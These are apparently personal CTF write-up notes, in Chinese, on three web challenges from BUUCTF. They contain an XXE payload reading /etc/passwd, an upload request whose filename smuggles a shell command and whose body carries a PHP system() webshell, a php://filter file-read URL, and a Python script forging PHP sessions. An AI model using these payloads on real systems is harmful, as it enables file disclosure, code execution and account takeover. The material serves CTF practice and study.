web

[CSAWQual 2019]Web_Unagi

知识点：xxe

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<users>
    <user>
        <username>&file;</username>
        <password>upload</password>
        <name>upload</name>
        <email>upload@fakesite.com</email>  
        <group>uploadaa</group>
    </user>
    <user>
        <username>uaa</username>
        <password>uplaoad2</password>
        <name> upload2</name>
        <email>upload2@fakesite.com</email>  
        <group>upload22da</group>
    </user>
</users>

转换编码绕过！

iconv -f utf8 -t utf16 2.xml>1.xml
wget -O "D:\xxx.zip" http://www.xdown.com/xxx.zip

https://websec.readthedocs.io/zh/latest/vuln/xxe.html

[N1CTF 2018]eating_cms

知识点：文件包含

POST /upllloadddd.php HTTP/1.1
Host: 2d086a77-7798-4764-978e-9d67e304e141.node4.buuoj.cn:81
Content-Length: 351
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://2d086a77-7798-4764-978e-9d67e304e141.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL3i4B1AYHeyRSZRa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://2d086a77-7798-4764-978e-9d67e304e141.node4.buuoj.cn:81/user.php?page=m4aaannngggeee
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OUTFOX_SEARCH_USER_ID_NCOO=1935872068.9989924; UM_distinctid=17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f; PHPSESSID=3cp00ku3lrdc6fibcl00jursp2; Hm_lvt_244ff9d4fa95dcc8d7e59d2dfaf5b2c4=1629196605; Hm_lpvt_244ff9d4fa95dcc8d7e59d2dfaf5b2c4=1629196605; __gads=ID=33fe19caf70dfda2-2256ad34d4ca00a4:T=1629196606:RT=1629196606:S=ALNI_MbYOUTbIEhkHNdH4wwT0r67doOYLw
Connection: close

------WebKitFormBoundaryL3i4B1AYHeyRSZRa
Content-Disposition: form-data; name="file"; filename="*;cd  ..;cat flag_233333;#"
Content-Type: image/jpeg

‰PNG

<?=system('cat /* > /var/www/html/1.txt');?>
------WebKitFormBoundaryL3i4B1AYHeyRSZRa
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryL3i4B1AYHeyRSZRa--

注意一下parse_url的绕过！ ssrf里也考过！

https://www.cnblogs.com/Lee-404/p/12826352.html

///user.php?page=pHp://FilTer/convert.base64-encode/resource=m4aaannngggeee

[HFCTF2020]BabyUpload

知识点；代码审计

sess文件！是sess_+sessionid!

所以这里我们可以伪造session！

先去知道：session serialize_handler

image-20210817193329505

<?php
session_save_path("D:/phpstudy_pro/WWW/");
ini_set('session.serialize_handler', 'php_binary');
session_start();

$_SESSION['username'] ='admin';
?>

hash_file 只要文件内容一样！hash就一样！

image-20210817194221298

image-20210817194340723

sessionid:

432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a41

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/8/17 19:45
# @Author  : upload
# @File    : [HFCTF2020]BabyUpload.py
# @Software: PyCharm
import hashlib
from io import BytesIO

import requests
import re
import os
import time
proxies = {
    'http': '127.0.0.1:8080'
}



burp0_url = "http://2987ff1f-a6fe-450e-8fd0-875de6e271cb.node4.buuoj.cn:81/"
# burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://dd.upload.love", "Content-Type": "multipart/form-data; boundary=--------1966334845", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://dd.upload.love/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
# burp0_data = "----------1966334845\r\nContent-Disposition: form-data; name=\"up_file\"; filename=\"sess\"\r\nContent-Type: application/octet-stream\r\n\r\n\x08usernames:5:\"admin\";\r\n----------1966334845\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n----------1966334845\r\nContent-Disposition: form-data; name=\"direction\"\r\n\r\nupload\r\n----------1966334845--\r\n"
# r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,proxies=proxies)
# print(r.text)

def up():

    file = {
        'up_file': open(r'sess', 'rb'),   # => 用name指定文件
        }
    data = {
    'direction':'upload'
    }

    r = requests.post(url=burp0_url,data=data,files=file,proxies=proxies)
    print(r.content)

session_id= '432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4'
session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode('utf-8')).hexdigest()

def upload_success():
    files = {
        "up_file": ("test", BytesIO('good job!'.encode('utf-8')))
    }
    data = {
        'attr':'success.txt',
        'direction':'upload'
    }
    url = burp0_url
    r = requests.post(url=url,data=data,files=files)


def exp():
    cookies = {
        'PHPSESSID': session_id
    }
    url = burp0_url
    s = requests.get(url)
    r = requests.get(url=url, cookies=cookies)
    print (r.content[len(s.content):])

exp()

思路：

就是下载sess文件！看session_hander 的格式！

然后上传session文件！伪造一下！

再上传succsess文件！over！😖